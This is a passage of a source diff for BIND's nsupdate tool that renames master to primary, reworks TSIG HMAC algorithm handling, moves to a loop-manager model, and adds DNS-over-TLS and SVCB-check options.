+static dns_transport_list_t *transport_list = NULL;
+static dns_transport_t *transport = NULL;
+static isc_tlsctx_cache_t *tls_ctx_cache = NULL;
+static char *tls_hostname = NULL;
+static char *tls_client_key_file = NULL;
+static char *tls_client_cert_file = NULL;
+static char *tls_ca_file = NULL;
+static bool tls_always_verify_remote = true;
 static bool default_servers = true;
 static int ns_inuse = 0;
-static int master_inuse = 0;
+static int primary_inuse = 0;
 static int ns_total = 0;
 static int ns_alloc = 0;
-static int master_total = 0;
-static int master_alloc = 0;
+static int primary_total = 0;
+static int primary_alloc = 0;
 static isc_sockaddr_t *localaddr4 = NULL;
 static isc_sockaddr_t *localaddr6 = NULL;
 static const char *keyfile = NULL;
@@ -179,6 +176,10 @@ static dns_message_t *answer = NULL;
 static uint32_t default_ttl = 0;
 static bool default_ttl_set = false;
 static bool checknames = true;
+static bool checksvcb = true;
+static const char *resolvconf = RESOLV_CONF;
+
+bool done = false;
 
 typedef struct nsu_requestinfo {
 	dns_message_t *msg;
@@ -189,9 +190,12 @@ static void
 sendrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 	    dns_request_t **request);
 static void
-send_update(dns_name_t *zonename, isc_sockaddr_t *master);
+send_update(dns_name_t *zonename, isc_sockaddr_t *primary);
 
-ISC_NORETURN static void
+static void
+getinput(void *arg);
+
+noreturn static void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 static void
@@ -215,12 +219,12 @@ typedef struct nsu_gssinfo {
 static void
 failed_gssrequest(void);
 static void
-start_gssrequest(dns_name_t *master);
+start_gssrequest(dns_name_t *primary);
 static void
 send_gssrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 		dns_request_t **request, gss_ctx_id_t context);
 static void
-recvgss(isc_task_t *task, isc_event_t *event);
+recvgss(void *arg);
 #endif /* HAVE_GSSAPI */
 
 static void
@@ -232,15 +236,15 @@ error(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 #define STATUS_SYNTAX (uint16_t)3
 
 static void
-master_from_servers(void) {
-	if (master_servers != NULL && master_servers != servers) {
-		isc_mem_put(gmctx, master_servers,
-			    master_alloc * sizeof(isc_sockaddr_t));
-	}
-	master_servers = servers;
-	master_total = ns_total;
-	master_alloc = ns_alloc;
-	master_inuse = ns_inuse;
+primary_from_servers(void) {
+	if (primary_servers != NULL && primary_servers != servers) {
+		isc_mem_cput(gmctx, primary_servers, primary_alloc,
+			     sizeof(isc_sockaddr_t));
+	}
+	primary_servers = servers;
+	primary_total = ns_total;
+	primary_alloc = ns_alloc;
+	primary_inuse = ns_inuse;
 }
 
 static dns_rdataclass_t
@@ -271,6 +275,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(1);
 }
 
@@ -308,7 +313,7 @@ ddebug(const char *format, ...) {
 	}
 }
 
-static inline void
+ISC_NO_SANITIZE_ADDRESS static void
 check_result(isc_result_t result, const char *msg) {
 	if (result != ISC_R_SUCCESS) {
 		fatal("%s: %s", msg, isc_result_totext(result));
@@ -369,18 +374,17 @@ reset_system(void) {
 		if (gssring != NULL) {
 			dns_tsigkeyring_detach(&gssring);
 		}
-		tried_other_gsstsig = false;
 	}
 }
 
 static bool
-parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
+parse_hmac(const char *hmacstr, size_t len, dst_algorithm_t *hmac,
 	   uint16_t *digestbitsp) {
 	uint16_t digestbits = 0;
 	isc_result_t result;
 	char buf[20];
 
-	REQUIRE(hmac != NULL && *hmac == NULL);
+	REQUIRE(hmac != NULL);
 	REQUIRE(hmacstr != NULL);
 
 	if (len >= sizeof(buf)) {
@@ -392,9 +396,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 	strlcpy(buf, hmacstr, ISC_MIN(len + 1, sizeof(buf)));
 
 	if (strcasecmp(buf, "hmac-md5") == 0) {
-		*hmac = DNS_TSIG_HMACMD5_NAME;
+		*hmac = DST_ALG_HMACMD5;
 	} else if (strncasecmp(buf, "hmac-md5-", 9) == 0) {
-		*hmac = DNS_TSIG_HMACMD5_NAME;
+		*hmac = DST_ALG_HMACMD5;
 		result = isc_parse_uint16(&digestbits, &buf[9], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 128) {
 			error("digest-bits out of range [0..128]");
@@ -402,9 +406,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 		}
 		*digestbitsp = (digestbits + 7) & ~0x7U;
 	} else if (strcasecmp(buf, "hmac-sha1") == 0) {
-		*hmac = DNS_TSIG_HMACSHA1_NAME;
+		*hmac = DST_ALG_HMACSHA1;
 	} else if (strncasecmp(buf, "hmac-sha1-", 10) == 0) {
-		*hmac = DNS_TSIG_HMACSHA1_NAME;
+		*hmac = DST_ALG_HMACSHA1;
 		result = isc_parse_uint16(&digestbits, &buf[10], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 160) {
 			error("digest-bits out of range [0..160]");
@@ -412,9 +416,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 		}
 		*digestbitsp = (digestbits + 7) & ~0x7U;
 	} else if (strcasecmp(buf, "hmac-sha224") == 0) {
-		*hmac = DNS_TSIG_HMACSHA224_NAME;
+		*hmac = DST_ALG_HMACSHA224;
 	} else if (strncasecmp(buf, "hmac-sha224-", 12) == 0) {
-		*hmac = DNS_TSIG_HMACSHA224_NAME;
+		*hmac = DST_ALG_HMACSHA224;
 		result = isc_parse_uint16(&digestbits, &buf[12], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 224) {
 			error("digest-bits out of range [0..224]");
@@ -422,9 +426,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 		}
 		*digestbitsp = (digestbits + 7) & ~0x7U;
 	} else if (strcasecmp(buf, "hmac-sha256") == 0) {
-		*hmac = DNS_TSIG_HMACSHA256_NAME;
+		*hmac = DST_ALG_HMACSHA256;
 	} else if (strncasecmp(buf, "hmac-sha256-", 12) == 0) {
-		*hmac = DNS_TSIG_HMACSHA256_NAME;
+		*hmac = DST_ALG_HMACSHA256;
 		result = isc_parse_uint16(&digestbits, &buf[12], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 256) {
 			error("digest-bits out of range [0..256]");
@@ -432,9 +436,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 		}
 		*digestbitsp = (digestbits + 7) & ~0x7U;
 	} else if (strcasecmp(buf, "hmac-sha384") == 0) {
-		*hmac = DNS_TSIG_HMACSHA384_NAME;
+		*hmac = DST_ALG_HMACSHA384;
 	} else if (strncasecmp(buf, "hmac-sha384-", 12) == 0) {
-		*hmac = DNS_TSIG_HMACSHA384_NAME;
+		*hmac = DST_ALG_HMACSHA384;
 		result = isc_parse_uint16(&digestbits, &buf[12], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 384) {
 			error("digest-bits out of range [0..384]");
@@ -442,9 +446,9 @@ parse_hmac(const dns_name_t **hmac, const char *hmacstr, size_t len,
 		}
 		*digestbitsp = (digestbits + 7) & ~0x7U;
 	} else if (strcasecmp(buf, "hmac-sha512") == 0) {
-		*hmac = DNS_TSIG_HMACSHA512_NAME;
+		*hmac = DST_ALG_HMACSHA512;
 	} else if (strncasecmp(buf, "hmac-sha512-", 12) == 0) {
-		*hmac = DNS_TSIG_HMACSHA512_NAME;
+		*hmac = DST_ALG_HMACSHA512;
 		result = isc_parse_uint16(&digestbits, &buf[12], 10);
 		if (result != ISC_R_SUCCESS || digestbits > 512) {
 			error("digest-bits out of range [0..512]");
@@ -479,12 +483,12 @@ setup_keystr(void) {
 	isc_buffer_t secretbuf;
 	isc_result_t result;
 	isc_buffer_t keynamesrc;
-	char *secretstr;
-	char *s, *n;
+	char *secretstr = NULL;
+	char *s = NULL, *n = NULL;
 	dns_fixedname_t fkeyname;
-	dns_name_t *mykeyname;
-	char *name;
-	const dns_name_t *hmacname = NULL;
+	dns_name_t *mykeyname = NULL;
+	char *name = NULL;
+	dst_algorithm_t hmac;
 	uint16_t digestbits = 0;
 
 	mykeyname = dns_fixedname_initname(&fkeyname);
@@ -503,11 +507,11 @@ setup_keystr(void) {
 		}
 		name = secretstr;
 		secretstr = n + 1;
-		if (!parse_hmac(&hmacname, keystr, s - keystr, &digestbits)) {
+		if (!parse_hmac(keystr, s - keystr, &hmac, &digestbits)) {
 			exit(1);
 		}
 	} else {
-		hmacname = DNS_TSIG_HMACMD5_NAME;
+		hmac = DST_ALG_HMACMD5;
 		name = keystr;
 		n = s;
 	}
@@ -534,11 +538,11 @@ setup_keystr(void) {
 	secretlen = isc_buffer_usedlength(&secretbuf);
 
 	debug("keycreate");
-	result = dns_tsigkey_create(mykeyname, hmacname, secret, secretlen,
-				    false, NULL, 0, 0, gmctx, NULL, &tsigkey);
+	result = dns_tsigkey_create(mykeyname, hmac, secret, secretlen, gmctx,
+				    &tsigkey);
 	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "could not create key from %s: %s\n", keystr,
-			dns_result_totext(result));
+			isc_result_totext(result));
 	} else {
 		dst_key_setbits(tsigkey->key, digestbits);
 	}
@@ -618,7 +622,7 @@ static void
 setup_keyfile(isc_mem_t *mctx, isc_log_t *lctx) {
 	dst_key_t *dstkey = NULL;
 	isc_result_t result;
-	const dns_name_t *hmacname = NULL;
+	dst_algorithm_t hmac = DST_ALG_UNKNOWN;
 
 	debug("Creating key...");
 
@@ -649,56 +653,43 @@ setup_keyfile(isc_mem_t *mctx, isc_log_t *lctx) {
 
 	switch (dst_key_alg(dstkey)) {
 	case DST_ALG_HMACMD5:
-		hmacname = DNS_TSIG_HMACMD5_NAME;
-		break;
 	case DST_ALG_HMACSHA1:
-		hmacname = DNS_TSIG_HMACSHA1_NAME;
-		break;
 	case DST_ALG_HMACSHA224:
-		hmacname = DNS_TSIG_HMACSHA224_NAME;
-		break;
 	case DST_ALG_HMACSHA256:
-		hmacname = DNS_TSIG_HMACSHA256_NAME;
-		break;
 	case DST_ALG_HMACSHA384:
-		hmacname = DNS_TSIG_HMACSHA384_NAME;
-		break;
 	case DST_ALG_HMACSHA512:
-		hmacname = DNS_TSIG_HMACSHA512_NAME;
+		hmac = dst_key_alg(dstkey);
 		break;
-	}
-	if (hmacname != NULL) {
-		result = dns_tsigkey_createfromkey(
-			dst_key_name(dstkey), hmacname, dstkey, false, NULL, 0,
-			0, mctx, NULL, &tsigkey);
-		dst_key_free(&dstkey);
-		if (result != ISC_R_SUCCESS) {
-			fprintf(stderr, "could not create key from %s: %s\n",
-				keyfile, isc_result_totext(result));
-			return;
-		}
-	} else {
+	default:
 		dst_key_attach(dstkey, &sig0key);
 		dst_key_free(&dstkey);
+		return;
+	}
+
+	result = dns_tsigkey_createfromkey(dst_key_name(dstkey), hmac, dstkey,
+					   false, false, NULL, 0, 0, mctx,
+					   &tsigkey);
+	dst_key_free(&dstkey);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "could not create key from %s: %s\n", keyfile,
+			isc_result_totext(result));
 	}
 }
 
 static void
 doshutdown(void) {
-	isc_task_detach(&global_task);
-
 	/*
-	 * The isc_mem_put of master_servers must be before the
+	 * The isc_mem_put of primary_servers must be before the
 	 * isc_mem_put of servers as it sets the servers pointer
 	 * to NULL.
 	 */
-	if (master_servers != NULL && master_servers != servers) {
-		isc_mem_put(gmctx, master_servers,
-			    master_alloc * sizeof(isc_sockaddr_t));
+	if (primary_servers != NULL && primary_servers != servers) {
+		isc_mem_cput(gmctx, primary_servers, primary_alloc,
+			     sizeof(isc_sockaddr_t));
 	}
 
 	if (servers != NULL) {
-		isc_mem_put(gmctx, servers, ns_alloc * sizeof(isc_sockaddr_t));
+		isc_mem_cput(gmctx, servers, ns_alloc, sizeof(isc_sockaddr_t));
 	}
 
 	if (localaddr4 != NULL) {
@@ -723,12 +714,6 @@ doshutdown(void) {
 		dns_message_detach(&updatemsg);
 	}
 
-	if (is_dst_up) {
-		ddebug("Destroy DST lib");
-		dst_lib_destroy();
-		is_dst_up = false;
-	}
-
 	ddebug("Destroying request manager");
 	dns_requestmgr_detach(&requestmgr);
 
@@ -741,14 +726,15 @@ doshutdown(void) {
 	}
 
 	ddebug("Shutting down dispatch manager");
-	dns_dispatchmgr_destroy(&dispatchmgr);
+	dns_dispatchmgr_detach(&dispatchmgr);
 }
 
 static void
 maybeshutdown(void) {
 	/* when called from getinput, doshutdown might be already finished */
-	if (requestmgr == NULL)
+	if (requestmgr == NULL) {
 		return;
+	}
 
 	ddebug("Shutting down request manager");
 	dns_requestmgr_shutdown(requestmgr);
@@ -761,12 +747,10 @@ maybeshutdown(void) {
 }
 
 static void
-shutdown_program(isc_task_t *task, isc_event_t *event) {
-	REQUIRE(task == global_task);
-	UNUSED(task);
+shutdown_program(void *arg) {
+	UNUSED(arg);
 
 	ddebug("shutdown_program()");
-	isc_event_free(&event);
 
 	shuttingdown = true;
 	maybeshutdown();
@@ -800,19 +784,31 @@ set_source_ports(dns_dispatchmgr_t *manager) {
 	isc_portset_destroy(gmctx, &v6portset);
 }
 
+static isc_result_t
+create_name(const char *str, char *namedata, size_t len, dns_name_t *name) {
+	isc_buffer_t namesrc, namebuf;
+
+	dns_name_init(name, NULL);
+	isc_buffer_constinit(&namesrc, str, strlen(str));
+	isc_buffer_add(&namesrc, strlen(str));
+	isc_buffer_init(&namebuf, namedata, len);
+
+	return (dns_name_fromtext(name, &namesrc, dns_rootname,
+				  DNS_NAME_DOWNCASE, &namebuf));
+}
+
 static void
 setup_system(void) {
 	isc_result_t result;
 	isc_sockaddr_t bind_any, bind_any6;
-	unsigned int attrs, attrmask;
 	isc_sockaddrlist_t *nslist;
 	isc_logconfig_t *logconfig = NULL;
 	irs_resconf_t *resconf = NULL;
+	dns_name_t tlsname;
+	char namedata[DNS_NAME_FORMATSIZE + 1];
 
 	ddebug("setup_system()");
 
-	dns_result_register();
-
 	isc_log_create(gmctx, &glctx, &logconfig);
 	isc_log_setcontext(glctx);
 	dns_log_init(glctx);
@@ -823,18 +819,18 @@ setup_system(void) {
 
 	isc_log_setdebuglevel(glctx, logdebuglevel);
 
-	result = irs_resconf_load(gmctx, RESOLV_CONF, &resconf);
+	result = irs_resconf_load(gmctx, resolvconf, &resconf);
 	if (result != ISC_R_SUCCESS && result != ISC_R_FILENOTFOUND) {
-		fatal("parse of %s failed", RESOLV_CONF);
+		fatal("parse of %s failed", resolvconf);
 	}
 
 	nslist = irs_resconf_getnameservers(resconf);
 
 	if (servers != NULL) {
-		if (master_servers == servers) {
-			master_servers = NULL;
+		if (primary_servers == servers) {
+			primary_servers = NULL;
 		}
-		isc_mem_put(gmctx, servers, ns_alloc * sizeof(isc_sockaddr_t));
+		isc_mem_cput(gmctx, servers, ns_alloc, sizeof(isc_sockaddr_t));
 	}
 
 	ns_inuse = 0;
@@ -849,7 +845,7 @@ setup_system(void) {
 		default_servers = !local_only;
 
 		ns_total = ns_alloc = (have_ipv4 ? 1 : 0) + (have_ipv6 ? 1 : 0);
-		servers = isc_mem_get(gmctx, ns_alloc * sizeof(isc_sockaddr_t));
+		servers = isc_mem_cget(gmctx, ns_alloc, sizeof(isc_sockaddr_t));
 
 		if (have_ipv6) {
 			memset(&in6, 0, sizeof(in6));
@@ -872,7 +868,8 @@ setup_system(void) {
 		 */
 		ns_total = 0;
 		for (sa = ISC_LIST_HEAD(*nslist); sa != NULL;
-		     sa = ISC_LIST_NEXT(sa, link)) {
+		     sa = ISC_LIST_NEXT(sa, link))
+		{
 			switch (sa->type.sa.sa_family) {
 			case AF_INET:
 				if (have_ipv4) {
@@ -890,11 +887,12 @@ setup_system(void) {
 		}
 
 		ns_alloc = ns_total;
-		servers = isc_mem_get(gmctx, ns_alloc * sizeof(isc_sockaddr_t));
+		servers = isc_mem_cget(gmctx, ns_alloc, sizeof(isc_sockaddr_t));
 
 		i = 0;
 		for (sa = ISC_LIST_HEAD(*nslist); sa != NULL;
-		     sa = ISC_LIST_NEXT(sa, link)) {
+		     sa = ISC_LIST_NEXT(sa, link))
+		{
 			switch (sa->type.sa.sa_family) {
 			case AF_INET:
 				if (have_ipv4) {
@@ -921,52 +919,56 @@ setup_system(void) {
 
 	irs_resconf_destroy(&resconf);
 
-	result = dns_dispatchmgr_create(gmctx, &dispatchmgr);
+	result = dns_dispatchmgr_create(gmctx, netmgr, &dispatchmgr);
 	check_result(result, "dns_dispatchmgr_create");
 
-	isc_managers_create(gmctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	result = isc_task_create(taskmgr, 0, &global_task);
-	check_result(result, "isc_task_create");
-
-	result = isc_task_onshutdown(global_task, shutdown_program, NULL);
-	check_result(result, "isc_task_onshutdown");
-
 	result = dst_lib_init(gmctx, NULL);
 	check_result(result, "dst_lib_init");
 	is_dst_up = true;
 
 	set_source_ports(dispatchmgr);
 
-	attrmask = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_TCP;
-	attrmask |= DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_IPV6;
-
 	if (have_ipv6) {
-		attrs = DNS_DISPATCHATTR_UDP;
-		attrs |= DNS_DISPATCHATTR_MAKEQUERY;
-		attrs |= DNS_DISPATCHATTR_IPV6;
 		isc_sockaddr_any6(&bind_any6);
-		result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr,
-					     &bind_any6, PACKETSIZE, 4, 2, 3, 5,
-					     attrs, attrmask, &dispatchv6);
-		check_result(result, "dns_dispatch_getudp (v6)");
+		result = dns_dispatch_createudp(dispatchmgr, &bind_any6,
+						&dispatchv6);
+		check_result(result, "dns_dispatch_createudp (v6)");
 	}
 
 	if (have_ipv4) {
-		attrs = DNS_DISPATCHATTR_UDP;
-		attrs |= DNS_DISPATCHATTR_MAKEQUERY;
-		attrs |= DNS_DISPATCHATTR_IPV4;
 		isc_sockaddr_any(&bind_any);
-		result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr,
-					     &bind_any, PACKETSIZE, 4, 2, 3, 5,
-					     attrs, attrmask, &dispatchv4);
-		check_result(result, "dns_dispatch_getudp (v4)");
+		result = dns_dispatch_createudp(dispatchmgr, &bind_any,
+						&dispatchv4);
+		check_result(result, "dns_dispatch_createudp (v4)");
 	}
+	transport_list = dns_transport_list_new(gmctx);
 
-	result = dns_requestmgr_create(gmctx, timermgr, socketmgr, taskmgr,
-				       dispatchmgr, dispatchv4, dispatchv6,
-				       &requestmgr);
+	isc_tlsctx_cache_create(gmctx, &tls_ctx_cache);
+
+	if (tls_client_key_file == NULL) {
+		result = create_name("tls-non-auth-client", namedata,
+				     sizeof(namedata), &tlsname);
+		check_result(result, "create_name (tls-non-auth-client)");
+		transport = dns_transport_new(&tlsname, DNS_TRANSPORT_TLS,
+					      transport_list);
+		dns_transport_set_tlsname(transport, "tls-non-auth-client");
+	} else {
+		result = create_name("tls-auth-client", namedata,
+				     sizeof(namedata), &tlsname);
+		check_result(result, "create_name (tls-auth-client)");
+		transport = dns_transport_new(&tlsname, DNS_TRANSPORT_TLS,
+					      transport_list);
+		dns_transport_set_tlsname(transport, "tls-auth-client");
+		dns_transport_set_keyfile(transport, tls_client_key_file);
+		dns_transport_set_certfile(transport, tls_client_cert_file);
+	}
+	dns_transport_set_cafile(transport, tls_ca_file);
+	dns_transport_set_remote_hostname(transport, tls_hostname);
+	dns_transport_set_always_verify_remote(transport,
+					       tls_always_verify_remote);
+
+	result = dns_requestmgr_create(gmctx, loopmgr, dispatchmgr, dispatchv4,
+				       dispatchv6, &requestmgr);
 	check_result(result, "dns_requestmgr_create");
 
 	if (keystr != NULL) {
@@ -990,9 +992,9 @@ get_addresses(char *host, in_port_t port, isc_sockaddr_t *sockaddr,
 	int count = 0;
 	isc_result_t result;
 
-	isc_app_block();
-	result = bind9_getaddresses(host, port, sockaddr, naddrs, &count);
-	isc_app_unblock();
+	isc_loopmgr_blocking(loopmgr);
+	result = isc_getaddresses(host, port, sockaddr, naddrs, &count);
+	isc_loopmgr_nonblocking(loopmgr);
 	if (result != ISC_R_SUCCESS) {
 		error("couldn't get address for '%s': %s", host,
 		      isc_result_totext(result));
@@ -1000,12 +1002,7 @@ get_addresses(char *host, in_port_t port, isc_sockaddr_t *sockaddr,
 	return (count);
 }
 
-static void
-version(void) {
-	fprintf(stderr, "nsupdate %s\n", PACKAGE_VERSION);
-}
-
-#define PARSE_ARGS_FMT "46dDML:y:ghilovk:p:Pr:R::t:Tu:V"
+#define PARSE_ARGS_FMT "46A:C:dDE:ghH:iK:lL:MoOk:p:Pr:R:St:Tu:vVy:"
 
 static void
 pre_parse_args(int argc, char **argv) {
@@ -1045,10 +1042,12 @@ pre_parse_args(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					argv[0], isc_commandline_option);
 			}
-			fprintf(stderr, "usage: nsupdate [-dDi] [-L level] [-l]"
-					"[-g | -o | -y keyname:secret | -k "
-					"keyfile] "
-					"[-v] [-V] [-P] [-T] [-4 | -6] "
+			fprintf(stderr, "usage: nsupdate [-CdDi] [-L level] "
+					"[-l] [-g | -o | -y keyname:secret "
+					"| -k keyfile] [-p port] "
+					"[ -S [-K tlskeyfile] [-E tlscertfile] "
+					"[-A tlscafile] [-H tlshostname] "
+					"[-O] ] [-v] [-V] [-P] [-T] [-4 | -6] "
 					"[filename]\n");
 			exit(1);
 
@@ -1079,7 +1078,7 @@ pre_parse_args(int argc, char **argv) {
 			break;
 
 		case 'V':
-			version();
+			printf("nsupdate %s\n", PACKAGE_VERSION);
 			doexit = true;
 			break;
 
@@ -1120,6 +1119,13 @@ parse_args(int argc, char **argv) {
 				fatal("can't find IPv6 networking");
 			}
 			break;
+		case 'A':
+			use_tls = true;
+			tls_ca_file = isc_commandline_argument;
+			break;
+		case 'C':
+			resolvconf = isc_commandline_argument;
+			break;
 		case 'd':
 			debugging = true;
 			break;
@@ -1127,12 +1133,24 @@ parse_args(int argc, char **argv) {
 			debugging = true;
 			ddebugging = true;
 			break;
+		case 'E':
+			use_tls = true;
+			tls_client_cert_file = isc_commandline_argument;
+			break;
+		case 'H':
+			use_tls = true;
+			tls_hostname = isc_commandline_argument;
+			break;
 		case 'M':
 			break;
 		case 'i':
 			force_interactive = true;
 			interactive = true;
 			break;
+		case 'K':
+			use_tls = true;
+			tls_client_key_file = isc_commandline_argument;
+			break;
 		case 'l':
 			local_only = true;
 			break;
@@ -1159,11 +1177,13 @@ parse_args(int argc, char **argv) {
 			break;
 		case 'g':
 			usegsstsig = true;
-			use_win2k_gsstsig = false;
 			break;
 		case 'o':
 			usegsstsig = true;
-			use_win2k_gsstsig = true;
+			break;
+		case 'O':
+			use_tls = true;
+			tls_always_verify_remote = false;
 			break;
 		case 'p':
 			result = isc_parse_uint16(&dnsport,
@@ -1176,6 +1196,9 @@ parse_args(int argc, char **argv) {
 				exit(1);
 			}
 			break;
+		case 'S':
+			use_tls = true;
+			break;
 		case 't':
 			result = isc_parse_uint32(&timeout,
 						  isc_commandline_argument, 10);
@@ -1196,9 +1219,6 @@ parse_args(int argc, char **argv) {
 					isc_commandline_argument);
 				exit(1);
 			}
-			if (udp_timeout == 0) {
-				udp_timeout = UINT_MAX;
-			}
 			break;
 		case 'r':
 			result = isc_parse_uint32(&udp_retries,
@@ -1211,7 +1231,7 @@ parse_args(int argc, char **argv) {
 			break;
 
 		case 'R':
-			fatal("The -R options has been deprecated.\n");
+			fatal("The -R option has been deprecated.");
 			break;
 
 		default:
@@ -1241,6 +1261,26 @@ parse_args(int argc, char **argv) {
 	}
 #endif /* HAVE_GSSAPI */
 
+	if (use_tls) {
+		usevc = true;
+		if ((tls_client_key_file == NULL) !=
+		    (tls_client_cert_file == NULL))
+		{
+			fprintf(stderr,
+				"%s: cannot specify the -K option without"
+				"the -E option, and vice versa.\n",
+				argv[0]);
+			exit(1);
+		}
+		if (tls_ca_file != NULL && tls_always_verify_remote == false) {
+			fprintf(stderr,
+				"%s: cannot specify the -A option in "
+				"conjuction with the -O option.\n",
+				argv[0]);
+			exit(1);
+		}
+	}
+
 	if (argv[isc_commandline_index] != NULL) {
 		if (strcmp(argv[isc_commandline_index], "-") == 0) {
 			input = stdin;
@@ -1272,8 +1312,7 @@ parse_name(char **cmdlinep, dns_message_t *msg, dns_name_t **namep) {
 		return (STATUS_SYNTAX);
 	}
 
-	result = dns_message_gettempname(msg, namep);
-	check_result(result, "dns_message_gettempname");
+	dns_message_gettempname(msg, namep);
 	isc_buffer_init(&source, word, strlen(word));
 	isc_buffer_add(&source, strlen(word));
 	result = dns_name_fromtext(*namep, &source, dns_rootname, 0, NULL);
@@ -1308,8 +1347,7 @@ parse_rdata(char **cmdlinep, dns_rdataclass_t rdataclass,
 
 	if (*cmdline != 0) {
 		dns_rdatacallbacks_init(&callbacks);
-		result = isc_lex_create(gmctx, strlen(cmdline), &lex);
-		check_result(result, "isc_lex_create");
+		isc_lex_create(gmctx, strlen(cmdline), &lex);
 		isc_buffer_init(&source, cmdline, strlen(cmdline));
 		isc_buffer_add(&source, strlen(cmdline));
 		result = isc_lex_openbuffer(lex, &source);
@@ -1407,8 +1445,7 @@ make_prereq(char *cmdline, bool ispositive, bool isrrset) {
 		rdatatype = dns_rdatatype_any;
 	}
 
-	result = dns_message_gettemprdata(updatemsg, &rdata);
-	check_result(result, "dns_message_gettemprdata");
+	dns_message_gettemprdata(updatemsg, &rdata);
 
 	dns_rdata_init(rdata);
 
@@ -1422,10 +1459,8 @@ make_prereq(char *cmdline, bool ispositive, bool isrrset) {
 		rdata->flags = DNS_RDATA_UPDATE;
 	}
 
-	result = dns_message_gettemprdatalist(updatemsg, &rdatalist);
-	check_result(result, "dns_message_gettemprdatalist");
-	result = dns_message_gettemprdataset(updatemsg, &rdataset);
-	check_result(result, "dns_message_gettemprdataset");
+	dns_message_gettemprdatalist(updatemsg, &rdatalist);
+	dns_message_gettemprdataset(updatemsg, &rdataset);
 	rdatalist->type = rdatatype;
 	if (ispositive) {
 		if (isrrset && rdata->data != NULL) {
@@ -1518,19 +1553,17 @@ evaluate_server(char *cmdline) {
 	}
 
 	if (servers != NULL) {
-		if (master_servers == servers) {
-			master_servers = NULL;
+		if (primary_servers == servers) {
+			primary_servers = NULL;
 		}
-		isc_mem_put(gmctx, servers, ns_alloc * sizeof(isc_sockaddr_t));
+		isc_mem_cput(gmctx, servers, ns_alloc, sizeof(isc_sockaddr_t));
 	}
 
 	default_servers = false;
 
 	ns_alloc = MAX_SERVERADDRS;
 	ns_inuse = 0;
-	servers = isc_mem_get(gmctx, ns_alloc * sizeof(isc_sockaddr_t));
-
-	memset(servers, 0, ns_alloc * sizeof(isc_sockaddr_t));
+	servers = isc_mem_cget(gmctx, ns_alloc, sizeof(isc_sockaddr_t));
 	ns_total = get_addresses(server, (in_port_t)port, servers, ns_alloc);
 	if (ns_total == 0) {
 		return (STATUS_SYNTAX);
@@ -1600,7 +1633,7 @@ evaluate_key(char *cmdline) {
 	int secretlen;
 	unsigned char *secret = NULL;
 	isc_buffer_t secretbuf;
-	const dns_name_t *hmacname = NULL;
+	dst_algorithm_t hmac = DST_ALG_UNKNOWN;
 	uint16_t digestbits = 0;
 	char *n;
 
@@ -1614,12 +1647,12 @@ evaluate_key(char *cmdline) {
 
 	n = strchr(namestr, ':');
 	if (n != NULL) {
-		if (!parse_hmac(&hmacname, namestr, n - namestr, &digestbits)) {
+		if (!parse_hmac(namestr, n - namestr, &hmac, &digestbits)) {
 			return (STATUS_SYNTAX);
 		}
 		namestr = n + 1;
 	} else {
-		hmacname = DNS_TSIG_HMACMD5_NAME;
+		hmac = DST_ALG_HMACMD5;
 	}
 
 	isc_buffer_init(&b, namestr, strlen(namestr));
@@ -1651,12 +1684,12 @@ evaluate_key(char *cmdline) {
 	if (tsigkey != NULL) {
 		dns_tsigkey_detach(&tsigkey);
 	}
-	result = dns_tsigkey_create(mykeyname, hmacname, secret, secretlen,
-				    false, NULL, 0, 0, gmctx, NULL, &tsigkey);
+	result = dns_tsigkey_create(mykeyname, hmac, secret, secretlen, gmctx,
+				    &tsigkey);
 	isc_mem_free(gmctx, secret);
 	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "could not create key from %s %s: %s\n",
-			namestr, secretstr, dns_result_totext(result));
+			namestr, secretstr, isc_result_totext(result));
 		return (STATUS_SYNTAX);
 	}
 	dst_key_setbits(tsigkey->key, digestbits);
@@ -1809,8 +1842,7 @@ update_addordelete(char *cmdline, bool isdelete) {
 		return (retval);
 	}
 
-	result = dns_message_gettemprdata(updatemsg, &rdata);
-	check_result(result, "dns_message_gettemprdata");
+	dns_message_gettemprdata(updatemsg, &rdata);
 
 	dns_rdata_init(rdata);
 
@@ -1937,7 +1969,8 @@ update_addordelete(char *cmdline, bool isdelete) {
 		dns_name_t *bad;
 
 		if (!dns_rdata_checkowner(name, rdata->rdclass, rdata->type,
-					  true)) {
+					  true))
+		{
 			char namebuf[DNS_NAME_FORMATSIZE];
 
 			dns_name_format(name, namebuf, sizeof(namebuf));
@@ -1957,6 +1990,15 @@ update_addordelete(char *cmdline, bool isdelete) {
 		}
 	}
 
+	if (!isdelete && checksvcb && rdata->type == dns_rdatatype_svcb) {
+		result = dns_rdata_checksvcb(name, rdata);
+		if (result != ISC_R_SUCCESS) {
+			fprintf(stderr, "check-svcb failed: %s\n",
+				isc_result_totext(result));
+			goto failure;
+		}
+	}
+
 	if (!isdelete && rdata->type == dns_rdatatype_nsec3param) {
 		dns_rdata_nsec3param_t nsec3param;
 
@@ -1972,10 +2014,8 @@ update_addordelete(char *cmdline, bool isdelete) {
 
 doneparsing:
 
